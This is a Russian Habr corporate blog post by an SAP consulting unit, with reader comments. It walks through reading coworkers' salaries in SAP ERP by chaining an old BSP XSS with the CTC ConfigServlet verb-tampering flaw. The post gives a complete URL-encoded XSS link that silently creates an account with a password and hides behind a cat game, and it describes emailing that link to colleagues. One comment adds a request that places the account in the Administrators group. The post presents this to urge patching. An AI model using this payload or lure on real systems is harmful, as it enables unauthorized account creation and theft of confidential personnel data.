Безопасность SAP. Регулярно ли вы устанавливаете обновления?

    Если ты работаешь в компании списка Forbes 500, высока вероятность того, что твою зарплату считает HR модуль SAP ERP. Я покажу как, используя ошибки SAP, посмотреть чужую зарплату в системе SAP ERP.

    Disclaimer: Это наш первый официальный пост на Хабре (надеемся, что и не последний), и мы хотели бы начать с освещения одной из самый важных тем. Информация в этом посте исключительно для ознакомления и демонстрации критичности вопросов безопасности. В статье мы использовали две очень старые уязвимости. При регулярном обновлении системы патчами такой сценарий будет невозможен.

    Итак, только работники HR имеют доступ к данным расчета зарплаты. Даже если у тебя есть доступ SAP GUI, и ты попытаешься зайти в транзакцию просмотра данных по з/п, то с вероятностью 99% тебе будет отказано:



    Доступа нет, а зарплату посмотреть хочется. Идем смотреть эксплоиты для SAP. Какой у нас есть инструментарий с эксплоитами? Правильно, Metasploit. Гуглим. Ага, на github есть целая папочка metasploit-framework/modules/auxiliary/scanner/sap/. Три десятка эксплоитов, однако:



    Вот, например, “Обход аутентификации с помощью Verb Tampering” (modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb), про него уже писали на Хабре.

    Коротко суть уязвимости в том, что один из админских сервисов Java-сервера, который входит в пакет поставки SAP NetWeaver, доступен запросом типа HEAD (в противовес запрещенным запросам GET и POST). Если открыть github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb мы видим, что проблема заключается в обращении к сервлету:

    /ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=' + datastore['USERNAME'] + ',PASSWORD=' + datastore['PASSWORD']

    Конечно, мы можем поставить Metasploit и запустить скрипт с локального компьютера. Но:

    1. Нет доступа в локальную сеть, а сервис скорее всего закрыт на доступ из-вне
    2. Скрипт будет запущен от твоего имени

    Поэтому давай, а) составим скрипт сами на основе кода sap_ctc_verb_tampering_user_mgmt.rb б) дадим запустить этот скрипт кому-нибудь из коллег, используя одну из ошибок XSS

    Про XSS на Хабре писали уже много раз (читай раз habrahabr.ru/post/66057 два habrahabr.ru/post/197672)

    Идем гуглить securityfocus. По запросу «sap xss exploit site:http://www.securityfocus.com/» выпадает 359 результатов



    По www.securityfocus.com/bid/15361/exploit видим запрос, который исполнит Javascript на компьютере пользователя:

    www.example.com/sap/bc/BSp/sap/menu/fameset.htm?sap-sessioncmd=open&sap-syscmd=%3Cscript%3Ealert('xss')%3C/script%3E


    Вместо дамми мы вставим HEAD-запрос к /ctc/ConfigServlet

    А для того, чтобы результатов запроса никто не увидел, покажем пользователю картинку, обязательно с котиками:



    Итоговая ссылка после кодировки в URL будет выглядеть так:

    www.example.com/sap/bc/BSp/sap/menu/fameset.htm?sap-sessioncmd=open&sap-syscmd= %3Cscript%3Evar%20http%20%3D%20new%20XMLHttpRequest()%3Bhttp.open(%27HEAD%27%2C%20%22http%3A%2F%2Fxxxxx%2Fctc%2FConfigServlet%3Fparam%3Dcom.sap.ctc.util.UserConfig%3BCREATEUSER%3BUSERNAME%3Dtest444%2CPASSWORD%3DPassword01%22)%3Bhttp.send()%3Bwindow.location.href%20%3D%20%27http%3A%2F%2Fru.fishki.net%2Fpicsw%2F042007%2F02%2Fflash%2Fcat.swf%27%3B%3C%2Fscript%3E%20

    Итак, составляем письмо коллегам:



    Нина Ивановна играет в Flash-игру:



    А мы — получаем пользователя test444, который (если активирован NetWeaver ABAP в качестве источника пользователей) создастся не только на сервере NetWeaver Application Server Java, но и в бэкенде – NetWeaver Application Server ABAP.



    Логинимся, проверям. Транзакция HR-модуля работает!



    Выводы. Мы использовали две уязвимости 2011 и 2009 года. При регулярном обновлении системы патчами такой сценарий будет невозможен. К сожалению, многие базисники забывают регулярно заглядывать в service.sap.com/securitynotes и проверять соответствие последним патчам, или делают это нерегулярно. С 2010 года компания SAP организует «Security Patch Day» каждый второй вторник каждого месяца, когда происходит массовый выпуск патчей по безопасности. Компания SAP просит партнеров не публиковать и не разглашать информацию о найденных уязвимостях как минимум 3 месяца с момента выпуска патча. Однако наши исследования показывают, что многие (в том числе большие) клиенты далеко не всегда устанавливают обновления в срок до 3 месяцев.

    Автор — Даниил Лузин
    Консалтинговое подразделение ООО «САП СНГ»
    Космодамианская наб. 52/7, 113054 Москва
    Т. +7 495 755 9800 доп. 3045
    М. +7 926 452 0425
    Ф. +7 495 755 98 01

    Update: Некоторые люди не захотели прочитать статью дальше заголовка, чтобы понять ее суть. Чтобы не вводить никого в заблуждение, мы решили сменить заголовок, отражающий содержимое поста.
    SAP
    78.13
    Лидер рынка корпоративных приложений
    Share post

    Comments 36

      +4
      А зарплату так и не увидели))
        +29
        В ответ на пятничное письмо коллегам вы сильно рискуете получить ответ:

        RE: Пятничное

        Зацените, какой приказ об увольнении!

        > Зацените какие котики!!!11
          +8
          Там скорее не приказ а повестка придет, а то и с доставкой на дом.
          +13
          Однако наши исследования показывают, что многие (в том числе большие) клиенты далеко не всегда устанавливают обновления в срок до 3 месяцев.

          Продукт нереально дорогой и за такие деньги многие просто не могут позволить себе купить обновление подписки на продукт)) Чем так хорош SAP кроме как откатами?)
            +3
            Надеюсь нам расскажут
              +3
              Да ничем. Только вести всю компанию в одном месте позволяет фактически только он. Это как 1с для бухгалтерии — вы можете вести все в кривой 1с или в тысяче экселевских файликов по каждому контрагенту, с кучей сводных таблиц и тд. А теперь масштаб бухгалтерии увеличим до работы с контрагентами (первая софтина), работы с персоналом (вторая), работы с контрактами, работы по проектам и все это в сотне-другой филиалов. Если для каждого направления будет по софтине — представьте объем работы по синхронизации всего этого хозяйства в сотне-другой филиалов.
                +1
                Это все в теории так хорошо, а на практике это куча костылей)) С первыми двумя задачами может справится 1с, с остальными можно использовать другие продукты. Я просто знаю кучу случаев где люди плются от SAP, за такие деньги покупаешь только костыли.

                Я помню когда работал в одной компании, руководство купило софтину(не SAP, но подобную) за просто нереальные бабки, для так называемого упрощения и ведения бизнес процессов, задач, контр агентов итд и закупили еще кучу пользовательских лицензий. Так вот через пару дней когда в систему было загружено около 5гб документов, система стала тормозить просто нереально(крутилась на очень мощном сервере по тем меркам), обращения в службу тех поддержки не давали вменяемого ответа, а через какое-то время и вовсе все забыли про эту систему в компании. По мне лучше обновить парк компьютеров и серверов в компании, чем покупать такое по.

                Второй сценарий. Работал в крупной компании, которая объединяла несколько отраслевых предприятий в стране. По корпоративным стандартам закупили CISCO, разработали тех документацию на проекты внутри компании. Предлагал руководству сэкономить и направить средства на другие нужды ит инфраструктуры компании(проблем было куча), да и опыт с сетями у меня был приличный — проработал долгое время в телекоме. Все смотрели косо и не подпускало своих к проекту. По контракту компания поставщик должна была монтировать и настраивать оборудование и строить сеть, но как всегда денег на все не хватило, поставили только часть оборудования и о монтаже и настройке речи не шло. Зато через месяц ИТ директор купил себе новый БМВ 7й модели. Через пару месяцев весь проект пополз вниз, в итоге все пришлось монтировать и настраивать мне, так как оборудование тупо стояло в коробках до лучших времен. А через полгода, ИТ директор уволился)))
                  +2
                  Это понятно, что бывают откаты и тд, но 1с + документооборот + файловая помойка + отчеты для руководства + разграничение прав на все это дело немного затратно в масштабах 10000+ пользователей. В компании на 500 человек SAP не нужен в принципе. 1с в компаниях на 10000+ практически не используется, разве что это ретейл.
                    0
                    Используется, и активно. Пример: Роснано, Камаз. Чтобы SAP заработал в компаниях 10000+ требуется дорогостоящая доработка, перекрывающая стоимость разработки системы с нуля. По оценке некоторых экспертов (сейчас не смогу найти ссылку, видел в LinkedIn в тематической группе), активно работающие в продуктиве системы SAP кастомизированы более чем на 50%.

                    Я сейчас не хочу трогать тему откатов и прочего роспила, т.к. это скучно и не интересно. Бывают ещё политические причины, связанные с получением кредитов и т.п. Если абстрагироваться от этого, то SAP внедряют как это не банально звучит для некой стандартизации ИТ в компании, прежде всего с целю продажи иностранным инвесторам (в российских реалиях) или повышения капитализации.

                    Если оценивать с позиции потребительских свойств продукта, то очень интересна часть, связанная с реализацией бизнес-процессов производства, дистрибуции, управления материальным потоками и цепочками добавленной стоимости. Это тот случай, когда важнее алгоритм, нежели красивый и удобный интерфейс.

                    Что касается бухгалтерии — то внедрение SAP ERP FI/CO в России, на мой взгляд, совершенно бессмысленная затея, т.к. здесь бизнес-процесс определяется прежде всего локальным законодательством. И 1С здесь абсолютный чемпион.
              +12
              Если б не параграф с выводами, то мой комментарий выглядел бы так
              «Странное начало для первого поста одной из самых дорогих ERP-систем».
                0
                А как вы пользователю еще и роли выдать успели?
                  +1
                  Выдача SAP_ALL'а бы выглядела так: /ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;ADD_USER_TO_GROUP;USERNAME=test444,GROUPNAME=Administrators.
                  0
                  Однако наши исследования показывают, что многие (в том числе большие) клиенты далеко не всегда устанавливают обновления в срок до 3 месяцев.

                  Однако базиснику могут набить морду, за регулярный останов продуктива.

                  Какие ноты уязвимостей?
                    0
                    Ноты 1589525 и 887164. Последняя от 2009, а не 2013 года, только сейчас заметил, сорри

                    На последнем TechEd была инфа о том, что базисники зачастую сами звонят в SAP, довольно таки не стесняясь в выраженях.
                    +8
                    Скажите, Вы этот вброс для чего сделали? Что-бы сейчас куча народу побежала заниматься чем не следует? Во первых указали направление движения, во вторых довольно точно рассказали что можно абузить без особого труда. Я понимаю что это тоже метод убеждения обновить подписки на сапорт, но извините, это как-то неэтично. И да, скорей всего этих людей следует уволить уже вчера, так-же как и то что с вероятностью далеко не нулевой их таки поймают на горячем, но зачем толкать?
                    +6
                    Честно говоря, SAP очень дырявая система, особенно если админ не опытен, помниться лет 10 назад работал с это системой (не упоси Бог кому такую каторгу) и там были ошибки которые даже сейчас не исправлены. Методов обхода защиты там много, особенно если не правильно настроены права и роли пользователей и «программ», а они как правило настроены не оч если систему допиливали, т.к. программисты не очень любят париться с этим, а админам лень с настройкой ролей возиться.
                    Я считаю (и вот с этих слов начинаем минусовать), что когда то эта система действительно была очень эффективной, но сейчас она монстроподобна, не поворотлива, не эффективна, дорогая, отстает от современности. Программистов и админов и настройщиков найти не реально, а уж гуру по системе вы нигде не откопаете.
                      0
                      В большей степени согласен с вами, но вот в чем она от современности отстает?
                        –1
                        использованием в ней технологий
                          +2
                          Интересное определение. Я бы больше понял «не использованием технологий» — но это в любом случае какое странное определение отставания от современности.
                          Каких именно технологий вам не хватает в SAP решениях?
                      +3
                      Почему ошибка на первом скрине говорит о проблемах с резолвом имени хоста, а не запрете доступа?
                        +9
                        Статья о взломе SAP в корпоративном блоге SAP? Оригинально!
                          +9
                          … написанная из-под взломанного аккаунта SAP в корпоративном блоге SAP.
                          +1
                          >IE8 на компьютере Нины Ивановны
                          >SAP с доступом в HR раздел

                          Такое вообще может быть?
                            0
                            совершенно, к сожалению, нормальная ситуация в больших компаниях.
                            0
                            Интерфейс «Привет из 90-х».
                              0
                              Оформление «Enjoy», тёплое и ламповое!
                                +2
                                Вам шашечки или ехать?
                                  –1
                                  За такое количество денег мне бы хотелось и то и другое.
                                +5
                                Крайне неприличная статья, ни с какой стороны баррикад.
                                Тех, кто не знаком с SAP, оттолкнёт, а тех, кто знаком и использует, как минимум, обескуражит подобное отношение со стороны партнёра.
                                Придётся засыпать сегодня с мыслью «понабрали по объявлению».
                                  –2
                                  Крутейшая статья — автор очень правильно выбрал цель атаки.

                                  Меня всегда удивляет, почему сотрудники сами не обмениваются данными о зарплате — это же в их интересах.

                                  Обычная ситуация, когда человеку, который тащит больше всех — платят меньше всех в отделе, просто потому что на собеседовании он договорился по нижней границе вилки, а потом на такую зарплату людей уже было не найти и стали набирать народ, бьющий баклуши, на в полтора раза большие деньги.

                                  Причем работодатель всячески поддерживает идею, будто говорить о зарплате — это чуть ли не неприлично и NDA, а иной раз прямо в договоре запрещает это делать.
                                    +1
                                    Потому и не обмениваются,
                                    думают, что получают много таща меньше всех и боятся, что таскатель пойдет требовать конфиликтовать с начальством или искать по рынку (и найдет), после чего за него тащить придется.
                                    +2
                                    Неприятный осадочек от статьи, саботаж какой-то.
                                    HANA становится всё более вменяемым продуктом, первые клиенты ставят Fiori (при этом работа над гайдлайнами продолжается и интерфейсы больше не кажутся сделанными на коленке), компания движется в сторону облачных технологий, совершая многомиллиардные сделки для получения экспертизы… А на технологическом блоге пишут: вот раньше была дырка, мы заделали, но клиенты заплатку могли и не поставить.
                                      0
                                      Будут статьи про HANA и про Fiori. Тема безопасности просто всегда остается актуальной
                                        0
                                        в следующей статье расскажем — spoiler alert — о статистике по уязвимостям, опишем (в цифрах) о том, что в плане безопасности с годами все становится, на самом деле, лучше — как у вендора, так и у клиентов, и количество уязвимостей идет вниз, а не вверх
                                          +1
                                          Конечно, вопросы безопасности — это важно и ценно, однако было бы также интересно почитать про новые (и существующие) технологии и продукты компаний. Напишите, например, про Fiori и SAPUI5, или историю развития ABAP.

                                      Only users with full accounts can post comments. Log in, please.